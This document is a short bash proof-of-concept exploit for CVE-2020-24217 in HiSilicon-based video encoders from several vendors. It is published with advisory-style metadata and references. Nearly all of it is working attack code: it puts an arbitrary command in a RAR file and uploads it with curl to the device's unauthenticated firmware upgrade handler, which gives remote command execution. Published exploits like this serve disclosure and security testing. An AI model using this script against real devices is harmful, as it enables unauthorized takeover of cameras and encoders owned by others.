HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware

#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24217
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "Usage:   $0 <server>[:<port>] <command>"
  exit 1
fi

printf "creating uk.rar... "
echo "$2" > uk.txt
rar a -ma4 uk.rar uk.txt >/dev/null 2>&1 || { echo "ERROR: rar failed. Is it installed?"; exit 2; }
echo "done"
rm uk.txt

printf "uploading the RAR file... "
if curl -s -F 'upgrade=@uk.rar' http://$1 >/dev/null
then
  echo "SUCCESS: remote command executed"
  rm uk.rar
else
  echo "ERROR: $?"
fi